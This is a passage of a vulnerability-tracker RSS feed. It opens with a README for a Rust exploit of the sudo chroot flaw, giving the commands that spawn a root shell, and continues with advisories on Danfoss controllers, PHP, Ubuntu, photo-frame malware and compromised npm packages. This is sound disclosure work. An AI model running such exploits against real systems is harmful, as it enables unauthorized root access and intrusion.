[This is an implementation](https://github.com/morgenm/sudo-chroot-CVE-2025-32463) of the sudo chroot vulnerability ([CVE-2025-32463](https://nvd.nist.gov/vuln/detail/CVE-2025-32463)) exploit I wrote in Rust based on [sudo's advisory](https://www.sudo.ws/security/advisories/chroot_bug/) and the [Stratascale advisory](https://www.stratascale.com/vulnerability-alert-CVE-2025-32463-sudo-chroot). 
The exploit allows you to run arbitray code in the form of a shared library due to a bug in how sudo handles chroot.

When passing the chroot option to sudo, you can provide a malicious `/etc/nsswitch.conf` file within the chroot directory that tells sudo to load an arbitrary shared object. This PoC abuses this in order to grant root access to an unprivileged user. 

## Usage
### Default PrivEsc Payload
Using the provided binaries under `Releases`, simply run the following to gain `root`:

```bash
./sudo_chroot_exploit
```

This uses a shared library payload which simply spawns a root shell.

### Custom payloads
The payload code (C) is provided under `/payload`. There is also a `Makefile` provided for building the code. You can modify or replace the payload as you see fit.
To specify a different payload than the default, you can run the following command:
```bash
/sudo_chroot_exploit -i custom_payload.so
```</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/comment/0a71f125-a137-48db-a374-4ea54b4c1e4d</guid>
      <pubDate>Fri, 11 Jul 2025 20:44:35 +0000</pubDate>
    </item>
    <item>
      <title>PHP2Shell</title>
      <link>https://vulnerability.circl.lu/bundle/bba240d0-7dfe-4f4f-94be-d6b640ddbc0e</link>
      <description>PHP2Shell (CVE-2026-109618 and CVE-2026-109619) is a vulnerability reported in October 2026 in the common web scripting language PHP. While the information about the vulnerability has been embargoed until 21 October at 14:00 UTC, unconfirmed leaks claim that it allows arbitrary code execution on any website that runs PHP versions 5 through 8.

The vulnerability was rated 9.2 (critical) out of 10 under CVSS v4.0 by PHP developers. Early reporting suggested versions as early as PHP 5, all the way through to PHP 8, are affected, with an emergency patch scheduled for release on 21 October at 14:00 UTC together with all other information about the vulnerability.

An additional CVE is also allocated CVE-2026-115560 .</description>
      <content:encoded>PHP2Shell (CVE-2026-109618 and CVE-2026-109619) is a vulnerability reported in October 2026 in the common web scripting language PHP. While the information about the vulnerability has been embargoed until 21 October at 14:00 UTC, unconfirmed leaks claim that it allows arbitrary code execution on any website that runs PHP versions 5 through 8.

The vulnerability was rated 9.2 (critical) out of 10 under CVSS v4.0 by PHP developers. Early reporting suggested versions as early as PHP 5, all the way through to PHP 8, are affected, with an emergency patch scheduled for release on 21 October at 14:00 UTC together with all other information about the vulnerability.

An additional CVE is also allocated CVE-2026-115560 .</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/bba240d0-7dfe-4f4f-94be-d6b640ddbc0e</guid>
      <pubDate>Sat, 24 Oct 2026 09:52:03 +0000</pubDate>
    </item>
    <item>
      <title>Freeze the Controller, Defrost the Food: Uncovering Vulnerabilities in Danfoss Refrigeration Controllers</title>
      <link>https://vulnerability.circl.lu/bundle/301a8f71-5679-453e-aae4-f9f18fa0dddf</link>
      <description>Executive Summary

Danfoss AK-SM 800A controllers are widely deployed to manage refrigeration infrastructure in supermarkets, cold-storage facilities, warehouses, and other commercial environments. Because these systems provide centralized management of refrigeration equipment, compromising the management interface can have significant operational consequences.

Team82 researched the attack surface of the Danfoss AK-SM 800A platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version. 

Our research uncovered a hidden "code-of-the-day" authentication mechanism that could be abused to bypass normal authentication, a command-injection vulnerability leading to remote code execution, and an issue allowing authenticated users to inject arbitrary Nginx configuration directives, which could be leveraged to manipulate web traffic and trigger a denial-of-service condition.

Our analysis began by examining the internet exposure of these devices, where we identified thousands of publicly accessible management interfaces. We then reverse engineered the firmware to reconstruct the architecture of the embedded web service, ultimately tracing each vulnerability from the HTTP request handlers down to the underlying implementation.

These findings demonstrate how undocumented functionality, insecure command construction, and dynamically modifiable web server configurations can combine to create powerful attack chains against internet-accessible cyber-physical systems.

In this blog, we will explain:

    How we researched the Danfoss AK-SM 800A platform

    Some details on the Code-of-the-Day vulnerability we uncovered

    How we used CVE-2025-41451 to achieve remote code execution

    The successful coordinated disclosure with Danfoss. 

What is the Danfoss AK-SM 800A?

Danfoss is one of the largest manufacturers of refrigeration and HVAC equipment worldwide. Its solutions are deployed throughout supermarkets, cold-storage facilities, warehouses, and commercial buildings.

Among its management platforms is the AK-SM 800A, a centralized system manager responsible for coordinating refrigeration controllers throughout an installation.

The platform aggregates information from numerous field devices while providing operators with a web-based management interface for monitoring and configuring the entire refrigeration environment.
Danfoss AK-SM 800A management panel.

From a single console, administrators can:

    Monitor refrigeration circuits

    Configure temperature thresholds

    Review historical alarms

    Adjust operating schedules

    Configure notification services

    Manage users and permissions

    Perform maintenance activities remotely

The system effectively becomes the operational control center for Danfoss refrigeration infrastructure.

Because technicians frequently administer these systems remotely, the AK-SM 800A includes an embedded web server that exposes a browser-based management interface. This convenience significantly reduces maintenance costs, allowing engineers to troubleshoot problems without traveling to every installation.
Measuring the Danfoss AK-SM 800A Attack Surface

Before diving into the firmware, we wanted to answer a simple but important question: could an attacker actually reach these systems in the first place?

Industrial control systems are often assumed to be safely tucked away on isolated networks. Unfortunately, that assumption doesn't always hold true.

To understand the real-world exposure of the Danfoss AK-SM 800A, we searched publicly available internet-wide scanning platforms, including Shodan and Censys, for signatures associated with its management interface. It didn't take long to find what we were looking for. Numerous controllers were directly accessible from the public Internet.

Many of these exposed systems displayed the distinctive HTTP/S title of the Danfoss StoreView management interface, suggesting that administrators had exposed the web console for remote management.
2765 exposed devices according to Censys AK-SM 800A devices scan.

For an attacker, this significantly lowers the barrier to entry. Instead of first compromising a corporate network or gaining physical access to a supermarket, they can simply scan for exposed controllers, identify devices running vulnerable firmware, and begin interacting directly with the embedded web application.

That discovery also influenced the direction of our research. While the controller supports multiple industrial communication protocols, the Internet-facing web interface represents the most realistic entry point for a remote attacker. As a result, we shifted our attention there first.

Once we started reverse engineering the firmware, it became clear that the web interface was much more than a simple management portal. Behind it was a surprisingly complex architecture, with multiple interacting components that ultimately became the focus of our security analysis.

Instead of a single HTTP server processing requests, the platform implemented multiple layers of reverse proxies, CGI handlers, and application logic spread across several independent processes.

Understanding this architecture became the key to discovering every vulnerability that followed.
Web Service Architecture Breakdown

After extracting the firmware and examining the filesystem, we began identifying the binaries and configuration files responsible for servicing HTTP requests.

The first component we encountered was an externally exposed Nginx instance responsible for listening on the management ports used by the web interface. Rather than directly implementing application logic, this Nginx server acts primarily as a reverse proxy responsible for dispatching requests to other components within the system.

The main nginx.conf configuration file defines that requests with the suffixes .cgi will be routed into a CGI instance running on the system sm_fcgi_app. The CGI executable sm_fcgi_app handling the routed request is responsible for initial handling of the web request according to system configuration sm_fcgi_app.conf.
sm_fcgi_app.conf configuration file

Inspecting the handling of the request inside the sm_fcgi_app executable, we understood that it implements initial processing of the request and then forwards it to the internal Nginx using the method forward_xml_request.
Decompiled snippet of the sm_fcgi_app main function calling forward_xml_request

The internal Nginx instance is configured to listen on the local interface.
Internal Nginx instance server configuration file.

Further down in the configuration, we found that requests targeting URLs with the .cgi suffix are forwarded to a separate CGI service running as part of a task created by the sm_app executable. This task, named Task_Web, implements the core logic of the device's web application. Once requests reach this component, they are fully parsed, processed, and dispatched to the appropriate application handlers.
Uncovering the Code-of-the-Day (CVE-2025-41450)

Authentication code is often one of the most security-sensitive components of an embedded management platform. At this point, we focused on the request-processing logic responsible for user authentication. Specifically, we analyzed requests sent to the xml.cgi endpoint with the action="getauth" parameter.
xml.cgi web service authentication request.

Analyzing the handling of this request led us to the xml_get_data function, which dispatches incoming requests to their corresponding action handlers based on the requested operation. In our case, the request was routed to the handler for the getauth action.

While analyzing this routine, we discovered a potential authentication bypass that allows an attacker to avoid the standard password verification performed against the user credentials stored on the system.

This behavior became apparent after we identified two request attributes (redacted) whose purpose was not immediately clear. When either of these attributes is included in a request, the authentication flow is redirected to a function that contains a code path leading to another function named check_code_of_day.

A closer examination of these functions revealed what appears to be a hidden authentication mechanism, likely intended for vendor support or maintenance. Instead of validating the configured administrator password, the application accepts a specially crafted authentication request containing a generated "code of the day."

Based on our analysis, this alternate authentication path is activated by setting specific request parameters to 1 and supplying a precomputed password. Rather than comparing this value against the configured user credentials, the application validates it against a password generated internally from the device's current date and time.

By reverse engineering the check_code_of_day routine, we were able to fully reconstruct the algorithm responsible for generating this daily authentication code. This demonstrated that anyone capable of reproducing the algorithm could generate valid authentication credentials without knowing the administrator's password. If discovered by a malicious actor, this hidden authentication mechanism could be abused to completely bypass the normal login process and gain administrative access to the device's web management interface.
Team82 researched the attack surface of the Danfoss AK-SM 800A refrigeration controller platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version. Successful exploits of the vulnerabilities, including a hidden
check_code_of_day password generation and comparison function.

This routine generates a daily authentication password based solely on the device's current date. By reproducing the same algorithm, an attacker can generate a valid authentication code for any given day and use it to bypass the standard login process. Successful authentication through this hidden mechanism results in a fully authenticated administrative session, granting privileged access to the device's web management interface.
Achieving Remote Code Execution (CVE-2025-41451)

Successfully bypassing authentication dramatically expanded the attack surface available for analysis. Instead of being limited to the small number of unauthenticated endpoints, we gained access to the device's full administrative interface and every management function it exposed. Like many embedded management platforms, the AK-SM 800A includes a wide range of configuration pages for network settings, alarm management, user administration, email notifications, logging, and system maintenance.

When reverse engineering embedded web applications, one of the first places we look is functionality that interacts with the underlying operating system. Configuration pages that invoke external utilities are particularly attractive because they often involve constructing shell commands from user-controlled input.

The SMTP Email configuration page quickly stood out. By tracing the request responsible for updating the email settings, we eventually reached the code responsible for constructing the command executed by the operating system.

The value fetched from item number 0x1be1 is formatted into the OS shell command. This is our email authentication password. The field value being formatted into the shell command is not sanitized according to our analysis and could potentially include OS shell directives that yield subsequent commands controlled by a potential attacker.
Setting the Email configuration with command injection payloads.
NGINX Configuration Injection (CVE-2025-41452)

During our analysis, we noticed that the externally exposed Nginx instance includes the configuration file headers.conf as part of its server configuration.
Inclusion of the headers.conf inside our externally exposed Nginx instance server.

Further investigation revealed that the web application exposes functionality for replacing this file and reloading the external Nginx instance at runtime, effectively allowing new configuration directives to be applied without restarting the device. This capability is exposed through the action="load_nginx_headers" endpoint, which accepts the contents of a new headers.conf file via an authenticated file upload.
xml_load_nginx_headers function handling headers.conf configuration file placement.

While testing this functionality, we discovered that an attacker could abuse it to implant arbitrary routing directives into the Internet-facing Nginx configuration. This allows an attacker to modify how requests are handled by the web server and potentially manipulate clients interacting with the device.

During further testing, we also identified an unexpected edge case. Requests directed to a maliciously implanted route triggered an unhandled exception inside the sm_app process responsible for servicing web requests. The resulting crash terminated the web service, allowing an authenticated attacker to repeatedly trigger a denial-of-service condition against the management interface.
Coordinated Disclosure

Claroty Team82 privately reported these vulnerabilities to Danfoss through a coordinated vulnerability disclosure process. Danfoss investigated our findings and released firmware version R4.3.1, which addresses the vulnerabilities described in this research.

Customers using affected AK-SM 800A controllers should upgrade to firmware version R4.3.1 or later as soon as possible. Organizations should also avoid exposing management interfaces directly to the Internet and ensure that access to administrative services is restricted to trusted management networks or secured through VPNs and other appropriate network segmentation controls.

We appreciate the collaboration of the Danfoss Product Security Incident Response Team throughout the disclosure and remediation process.</description>
      <content:encoded>Executive Summary

Danfoss AK-SM 800A controllers are widely deployed to manage refrigeration infrastructure in supermarkets, cold-storage facilities, warehouses, and other commercial environments. Because these systems provide centralized management of refrigeration equipment, compromising the management interface can have significant operational consequences.

Team82 researched the attack surface of the Danfoss AK-SM 800A platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version. 

Our research uncovered a hidden "code-of-the-day" authentication mechanism that could be abused to bypass normal authentication, a command-injection vulnerability leading to remote code execution, and an issue allowing authenticated users to inject arbitrary Nginx configuration directives, which could be leveraged to manipulate web traffic and trigger a denial-of-service condition.

Our analysis began by examining the internet exposure of these devices, where we identified thousands of publicly accessible management interfaces. We then reverse engineered the firmware to reconstruct the architecture of the embedded web service, ultimately tracing each vulnerability from the HTTP request handlers down to the underlying implementation.

These findings demonstrate how undocumented functionality, insecure command construction, and dynamically modifiable web server configurations can combine to create powerful attack chains against internet-accessible cyber-physical systems.

In this blog, we will explain:

    How we researched the Danfoss AK-SM 800A platform

    Some details on the Code-of-the-Day vulnerability we uncovered

    How we used CVE-2025-41451 to achieve remote code execution

    The successful coordinated disclosure with Danfoss. 

What is the Danfoss AK-SM 800A?

Danfoss is one of the largest manufacturers of refrigeration and HVAC equipment worldwide. Its solutions are deployed throughout supermarkets, cold-storage facilities, warehouses, and commercial buildings.

Among its management platforms is the AK-SM 800A, a centralized system manager responsible for coordinating refrigeration controllers throughout an installation.

The platform aggregates information from numerous field devices while providing operators with a web-based management interface for monitoring and configuring the entire refrigeration environment.
Danfoss AK-SM 800A management panel.

From a single console, administrators can:

    Monitor refrigeration circuits

    Configure temperature thresholds

    Review historical alarms

    Adjust operating schedules

    Configure notification services

    Manage users and permissions

    Perform maintenance activities remotely

The system effectively becomes the operational control center for Danfoss refrigeration infrastructure.

Because technicians frequently administer these systems remotely, the AK-SM 800A includes an embedded web server that exposes a browser-based management interface. This convenience significantly reduces maintenance costs, allowing engineers to troubleshoot problems without traveling to every installation.
Measuring the Danfoss AK-SM 800A Attack Surface

Before diving into the firmware, we wanted to answer a simple but important question: could an attacker actually reach these systems in the first place?

Industrial control systems are often assumed to be safely tucked away on isolated networks. Unfortunately, that assumption doesn't always hold true.

To understand the real-world exposure of the Danfoss AK-SM 800A, we searched publicly available internet-wide scanning platforms, including Shodan and Censys, for signatures associated with its management interface. It didn't take long to find what we were looking for. Numerous controllers were directly accessible from the public Internet.

Many of these exposed systems displayed the distinctive HTTP/S title of the Danfoss StoreView management interface, suggesting that administrators had exposed the web console for remote management.
2765 exposed devices according to Censys AK-SM 800A devices scan.

For an attacker, this significantly lowers the barrier to entry. Instead of first compromising a corporate network or gaining physical access to a supermarket, they can simply scan for exposed controllers, identify devices running vulnerable firmware, and begin interacting directly with the embedded web application.

That discovery also influenced the direction of our research. While the controller supports multiple industrial communication protocols, the Internet-facing web interface represents the most realistic entry point for a remote attacker. As a result, we shifted our attention there first.

Once we started reverse engineering the firmware, it became clear that the web interface was much more than a simple management portal. Behind it was a surprisingly complex architecture, with multiple interacting components that ultimately became the focus of our security analysis.

Instead of a single HTTP server processing requests, the platform implemented multiple layers of reverse proxies, CGI handlers, and application logic spread across several independent processes.

Understanding this architecture became the key to discovering every vulnerability that followed.
Web Service Architecture Breakdown

After extracting the firmware and examining the filesystem, we began identifying the binaries and configuration files responsible for servicing HTTP requests.

The first component we encountered was an externally exposed Nginx instance responsible for listening on the management ports used by the web interface. Rather than directly implementing application logic, this Nginx server acts primarily as a reverse proxy responsible for dispatching requests to other components within the system.

The main nginx.conf configuration file defines that requests with the suffixes .cgi will be routed into a CGI instance running on the system sm_fcgi_app. The CGI executable sm_fcgi_app handling the routed request is responsible for initial handling of the web request according to system configuration sm_fcgi_app.conf.
sm_fcgi_app.conf configuration file

Inspecting the handling of the request inside the sm_fcgi_app executable, we understood that it implements initial processing of the request and then forwards it to the internal Nginx using the method forward_xml_request.
Decompiled snippet of the sm_fcgi_app main function calling forward_xml_request

The internal Nginx instance is configured to listen on the local interface.
Internal Nginx instance server configuration file.

Further down in the configuration, we found that requests targeting URLs with the .cgi suffix are forwarded to a separate CGI service running as part of a task created by the sm_app executable. This task, named Task_Web, implements the core logic of the device's web application. Once requests reach this component, they are fully parsed, processed, and dispatched to the appropriate application handlers.
Uncovering the Code-of-the-Day (CVE-2025-41450)

Authentication code is often one of the most security-sensitive components of an embedded management platform. At this point, we focused on the request-processing logic responsible for user authentication. Specifically, we analyzed requests sent to the xml.cgi endpoint with the action="getauth" parameter.
xml.cgi web service authentication request.

Analyzing the handling of this request led us to the xml_get_data function, which dispatches incoming requests to their corresponding action handlers based on the requested operation. In our case, the request was routed to the handler for the getauth action.

While analyzing this routine, we discovered a potential authentication bypass that allows an attacker to avoid the standard password verification performed against the user credentials stored on the system.

This behavior became apparent after we identified two request attributes (redacted) whose purpose was not immediately clear. When either of these attributes is included in a request, the authentication flow is redirected to a function that contains a code path leading to another function named check_code_of_day.

A closer examination of these functions revealed what appears to be a hidden authentication mechanism, likely intended for vendor support or maintenance. Instead of validating the configured administrator password, the application accepts a specially crafted authentication request containing a generated "code of the day."

Based on our analysis, this alternate authentication path is activated by setting specific request parameters to 1 and supplying a precomputed password. Rather than comparing this value against the configured user credentials, the application validates it against a password generated internally from the device's current date and time.

By reverse engineering the check_code_of_day routine, we were able to fully reconstruct the algorithm responsible for generating this daily authentication code. This demonstrated that anyone capable of reproducing the algorithm could generate valid authentication credentials without knowing the administrator's password. If discovered by a malicious actor, this hidden authentication mechanism could be abused to completely bypass the normal login process and gain administrative access to the device's web management interface.
Team82 researched the attack surface of the Danfoss AK-SM 800A refrigeration controller platform and identified multiple vulnerabilities affecting the embedded web management interface. Team82 disclosed the vulnerabilities to Danfoss, which addressed them in a new firmware version. Successful exploits of the vulnerabilities, including a hidden
check_code_of_day password generation and comparison function.

This routine generates a daily authentication password based solely on the device's current date. By reproducing the same algorithm, an attacker can generate a valid authentication code for any given day and use it to bypass the standard login process. Successful authentication through this hidden mechanism results in a fully authenticated administrative session, granting privileged access to the device's web management interface.
Achieving Remote Code Execution (CVE-2025-41451)

Successfully bypassing authentication dramatically expanded the attack surface available for analysis. Instead of being limited to the small number of unauthenticated endpoints, we gained access to the device's full administrative interface and every management function it exposed. Like many embedded management platforms, the AK-SM 800A includes a wide range of configuration pages for network settings, alarm management, user administration, email notifications, logging, and system maintenance.

When reverse engineering embedded web applications, one of the first places we look is functionality that interacts with the underlying operating system. Configuration pages that invoke external utilities are particularly attractive because they often involve constructing shell commands from user-controlled input.

The SMTP Email configuration page quickly stood out. By tracing the request responsible for updating the email settings, we eventually reached the code responsible for constructing the command executed by the operating system.

The value fetched from item number 0x1be1 is formatted into the OS shell command. This is our email authentication password. The field value being formatted into the shell command is not sanitized according to our analysis and could potentially include OS shell directives that yield subsequent commands controlled by a potential attacker.
Setting the Email configuration with command injection payloads.
NGINX Configuration Injection (CVE-2025-41452)

During our analysis, we noticed that the externally exposed Nginx instance includes the configuration file headers.conf as part of its server configuration.
Inclusion of the headers.conf inside our externally exposed Nginx instance server.

Further investigation revealed that the web application exposes functionality for replacing this file and reloading the external Nginx instance at runtime, effectively allowing new configuration directives to be applied without restarting the device. This capability is exposed through the action="load_nginx_headers" endpoint, which accepts the contents of a new headers.conf file via an authenticated file upload.
xml_load_nginx_headers function handling headers.conf configuration file placement.

While testing this functionality, we discovered that an attacker could abuse it to implant arbitrary routing directives into the Internet-facing Nginx configuration. This allows an attacker to modify how requests are handled by the web server and potentially manipulate clients interacting with the device.

During further testing, we also identified an unexpected edge case. Requests directed to a maliciously implanted route triggered an unhandled exception inside the sm_app process responsible for servicing web requests. The resulting crash terminated the web service, allowing an authenticated attacker to repeatedly trigger a denial-of-service condition against the management interface.
Coordinated Disclosure

Claroty Team82 privately reported these vulnerabilities to Danfoss through a coordinated vulnerability disclosure process. Danfoss investigated our findings and released firmware version R4.3.1, which addresses the vulnerabilities described in this research.

Customers using affected AK-SM 800A controllers should upgrade to firmware version R4.3.1 or later as soon as possible. Organizations should also avoid exposing management interfaces directly to the Internet and ensure that access to administrative services is restricted to trusted management networks or secured through VPNs and other appropriate network segmentation controls.

We appreciate the collaboration of the Danfoss Product Security Incident Response Team throughout the disclosure and remediation process.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/301a8f71-5679-453e-aae4-f9f18fa0dddf</guid>
      <pubDate>Mon, 12 Oct 2026 20:19:42 +0000</pubDate>
    </item>
    <item>
      <title>Ubuntu 24.04 LTS NVIDIA Kernel Update USN-8760-1 Security Issues</title>
      <link>https://vulnerability.circl.lu/bundle/0993320a-8372-47e9-a37e-158a64a4e0dc</link>
      <description>Several security issues were fixed in the Linux kernel.

Software Description:

- linux-nvidia-7.0: Linux kernel for NVIDIA systems

Details:

Several security issues were discovered in the Linux kernel.

An attacker could possibly use these to compromise the system.

This update corrects flaws in the following subsystems:

*   User-space API (UAPI);
*   Kernel build system;
*   ARM32 architecture;
*   ARM64 architecture;
*   RISC-V architecture;
*   S390 architecture;
*   x86 architecture;
*   Block layer subsystem;
*   Cryptographic API;
*   Compute Acceleration Framework;
*   Intel NPU Driver;
*   ACPI drivers;
*   Android drivers;
*   Drivers core;
*   Compressed RAM block device driver;
*   Bluetooth drivers;
*   Character device driver;
*   Hardware random number generator core;
*   CPU frequency scaling framework;
*   Hardware crypto device drivers;
*   Buffer Sharing and Synchronization framework;
*   Intel Stratix 10 firmware drivers;
*   FPGA Framework;
*   GPIO subsystem;
*   ...</description>
      <content:encoded>Several security issues were fixed in the Linux kernel.

Software Description:

- linux-nvidia-7.0: Linux kernel for NVIDIA systems

Details:

Several security issues were discovered in the Linux kernel.

An attacker could possibly use these to compromise the system.

This update corrects flaws in the following subsystems:

*   User-space API (UAPI);
*   Kernel build system;
*   ARM32 architecture;
*   ARM64 architecture;
*   RISC-V architecture;
*   S390 architecture;
*   x86 architecture;
*   Block layer subsystem;
*   Cryptographic API;
*   Compute Acceleration Framework;
*   Intel NPU Driver;
*   ACPI drivers;
*   Android drivers;
*   Drivers core;
*   Compressed RAM block device driver;
*   Bluetooth drivers;
*   Character device driver;
*   Hardware random number generator core;
*   CPU frequency scaling framework;
*   Hardware crypto device drivers;
*   Buffer Sharing and Synchronization framework;
*   Intel Stratix 10 firmware drivers;
*   FPGA Framework;
*   GPIO subsystem;
*   ...</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/0993320a-8372-47e9-a37e-158a64a4e0dc</guid>
      <pubDate>Tue, 15 Sep 2026 12:46:43 +0000</pubDate>
    </item>
    <item>
      <title>Vulnerabilities in various SAP products</title>
      <link>https://vulnerability.circl.lu/bundle/79cf05e4-8e7e-4859-b145-d69bffb52412</link>
      <description>Vulnerabilities in various SAP products.</description>
      <content:encoded>Vulnerabilities in various SAP products.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/79cf05e4-8e7e-4859-b145-d69bffb52412</guid>
      <pubDate>Tue, 13 Jan 2026 06:48:14 +0000</pubDate>
    </item>
    <item>
      <title>Privilege boundary violation vulnerability is identified affecting multiple Radiometer Products</title>
      <link>https://vulnerability.circl.lu/bundle/82426f8b-32be-443a-92e4-ea478babd419</link>
      <description>A "Privilege boundary violation" vulnerability is identified affecting multiple Radiometer Products. Exploitation of this vulnerability gives a user with physical access to the analyzer, the possibility to gain unauthorized access to functionalities outside the restricted environment. The vulnerability is due to weakness in the design of access control implementation in application software.

Other related CVE's are CVE-2025-14096 and CVE-2025-14097.        

Affected customers have been informed about this vulnerability.

This CVE is being published to provide transparency.

**Required configuration for Exposure**

Physical access to the analyzer is needed.

**Temporary work Around**                                                                                                                                                                                                                                            Only authorized people can physically access the analyzer.

**Permanent solution**
Local Radiometer representatives will contact all affected customers to discuss a permanent solution.

**Exploit Status**                                                                                                                                                                                                                                                                    Researchers have provided working proof-of-concept. Radiometer is not aware of any publicly available exploit at the time of publication.</description>
      <content:encoded>A "Privilege boundary violation" vulnerability is identified affecting multiple Radiometer Products. Exploitation of this vulnerability gives a user with physical access to the analyzer, the possibility to gain unauthorized access to functionalities outside the restricted environment. The vulnerability is due to weakness in the design of access control implementation in application software.

Other related CVE's are CVE-2025-14096 and CVE-2025-14097.        

Affected customers have been informed about this vulnerability.

This CVE is being published to provide transparency.

**Required configuration for Exposure**

Physical access to the analyzer is needed.

**Temporary work Around**                                                                                                                                                                                                                                            Only authorized people can physically access the analyzer.

**Permanent solution**
Local Radiometer representatives will contact all affected customers to discuss a permanent solution.

**Exploit Status**                                                                                                                                                                                                                                                                    Researchers have provided working proof-of-concept. Radiometer is not aware of any publicly available exploit at the time of publication.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/82426f8b-32be-443a-92e4-ea478babd419</guid>
      <pubDate>Wed, 17 Dec 2025 12:08:23 +0000</pubDate>
    </item>
    <item>
      <title>Uhale digital frames with Android operating system have several critical vulnerabilities</title>
      <link>https://vulnerability.circl.lu/bundle/cb67ae59-5c4d-4da7-ac88-81db6894b2d8</link>
      <description>&amp;gt; Experts have found that many of the digital frame models analyzed download malicious payloads from Chinese servers immediately after ignition. At startup, devices check for an update of the Uhale app, install the update to version 4.2.0 and restart. After restarting, the updated app starts downloading and running the malware.
&amp;gt; 
&amp;gt; The downloaded JAR/DEX file is saved in the Uhale application directory and run at each subsequent system start. It is not yet clear why version 4.2.0 of the application became malicious (whether this was done intentionally by the developers themselves or whether the ZEASN upgrade infrastructure was compromised).
&amp;gt; 
&amp;gt; The malware detected has been linked to the Vo1d botnet, which has millions of devices, as well as the Mzmess family of malware. This connection is confirmed by packet prefixes, string names, endpoints, malware distribution process, and a range of artifacts.
&amp;gt; 
&amp;gt; In addition to the automatic download of the malware (which did not occur on all the frames analyzed), the researchers also discovered numerous vulnerabilities. In their report, Quokka's specialists detailed 17 problems, 11 of which have already received CVE identifiers.

The most serious are:

* CVE-2025-58392 and CVE-2025-58397 – An insecure implementation of TrustManager allows a MitM attack to inject counterfeit encrypted responses, eventually leading to remote code execution with root privileges;
* CVE-2025-58388 – During an application update, raw file names are passed directly to shell commands, allowing command injection and remote installation of arbitrary APKs;
* CVE-2025-58394 – All the camera frames tested were shipped with disabled SELinux, default root access and AOSP public test keys, which means they were completely compromised from the first moment;
* CVE-2025-58396 – A pre-installed application launches a file server on the TCP 17802 port, which accepts file uploads without authentication. As a result, any host on the local network gets the ability to write or delete arbitrary files on your device;
* CVE-2025-58390 – WebView in the app ignores SSL/TLS errors and allows mixed content, allowing attackers to inject or intercept data viewed on the device, opening the door to phishing and content spoofing.</description>
      <content:encoded>&amp;gt; Experts have found that many of the digital frame models analyzed download malicious payloads from Chinese servers immediately after ignition. At startup, devices check for an update of the Uhale app, install the update to version 4.2.0 and restart. After restarting, the updated app starts downloading and running the malware.
&amp;gt; 
&amp;gt; The downloaded JAR/DEX file is saved in the Uhale application directory and run at each subsequent system start. It is not yet clear why version 4.2.0 of the application became malicious (whether this was done intentionally by the developers themselves or whether the ZEASN upgrade infrastructure was compromised).
&amp;gt; 
&amp;gt; The malware detected has been linked to the Vo1d botnet, which has millions of devices, as well as the Mzmess family of malware. This connection is confirmed by packet prefixes, string names, endpoints, malware distribution process, and a range of artifacts.
&amp;gt; 
&amp;gt; In addition to the automatic download of the malware (which did not occur on all the frames analyzed), the researchers also discovered numerous vulnerabilities. In their report, Quokka's specialists detailed 17 problems, 11 of which have already received CVE identifiers.

The most serious are:

* CVE-2025-58392 and CVE-2025-58397 – An insecure implementation of TrustManager allows a MitM attack to inject counterfeit encrypted responses, eventually leading to remote code execution with root privileges;
* CVE-2025-58388 – During an application update, raw file names are passed directly to shell commands, allowing command injection and remote installation of arbitrary APKs;
* CVE-2025-58394 – All the camera frames tested were shipped with disabled SELinux, default root access and AOSP public test keys, which means they were completely compromised from the first moment;
* CVE-2025-58396 – A pre-installed application launches a file server on the TCP 17802 port, which accepts file uploads without authentication. As a result, any host on the local network gets the ability to write or delete arbitrary files on your device;
* CVE-2025-58390 – WebView in the app ignores SSL/TLS errors and allows mixed content, allowing attackers to inject or intercept data viewed on the device, opening the door to phishing and content spoofing.</content:encoded>
      <guid isPermaLink="false">https://vulnerability.circl.lu/bundle/cb67ae59-5c4d-4da7-ac88-81db6894b2d8</guid>
      <pubDate>Wed, 03 Dec 2025 15:39:25 +0000</pubDate>
    </item>
    <item>
      <title>npm.js - account qix and duckdb_admin compromised and associated CVEs allocated</title>
      <link>https://vulnerability.circl.lu/bundle/289697c2-61dc-410f-8343-aba0be87728d</link>
      <description>### CVE Assigned for the account compromised 

Account compromised: [https://www.npmjs.com/~qix)](https://www.npmjs.com/~qix) and `duckdb_admin`  - [source code of the malware ](https://gist.github.com/sindresorhus/2b7466b1ec36376b8742dc711c24db20)

-  DuckDB packages - https://github.com/duckdb/duckdb-node/security/advisories/GHSA-w62p-hx95-gf2c -  CVE-2025-59037 
-  Prebid - prebid-universal-creative - https://vulnerability.circl.lu/vuln/CVE-2025-59039 - CVE-2025-59039
-  Prebid.js - https://vulnerability.circl.lu/vuln/cve-2025-59038 - CVE-2025-59038

### Package known to be compromised

| Package                                                                  | Version |
| ------------------------------------------------------------------------ | ------- |
| [backslash](https://www.npmjs.com/package/backslash)                     | 0.2.1   |
| [chalk-template](https://www.npmjs.com/package/chalk-template)           | 1.1.1   |
| [supports-hyperlinks](https://www.npmjs.com/package/supports-hyperlinks) | 4.1.1   |
| [has-ansi](https://www.npmjs.com/package/has-ansi)                       | 6.0.1   |
| [simple-swizzle](https://www.npmjs.com/package/simple-swizzle)           | 0.2.3   |
| [color-string](https://www.npmjs.com/package/color-string)               | 2.1.1   |
| [error-ex](https://www.npmjs.com/package/error-ex)                       | 1.3.3   |
| [color-name](https://www.npmjs.com/package/color-name)                   | 2.0.1   |
| [is-arrayish](https://www.npmjs.com/package/is-arrayish)                 | 0.3.3   |
| [slice-ansi](https://www.npmjs.com/package/slice-ansi)                   | 7.1.1   |
| [color-convert](https://www.npmjs.com/package/color-convert)             | 3.1.1   |
| [wrap-ansi](https://www.npmjs.com/package/wrap-ansi)                     | 9.0.1   |
| [ansi-regex](https://www.npmjs.com/package/ansi-regex)                   | 6.2.1   |
| [supports-color](https://www.npmjs.com/package/supports-color)           | 10.2.1  |
| [strip-ansi](https://www.npmjs.com/package/strip-ansi)                   | 7.1.1   |
| [chalk](https://www.npmjs.com/package/chalk)                             | 5.6.1   |
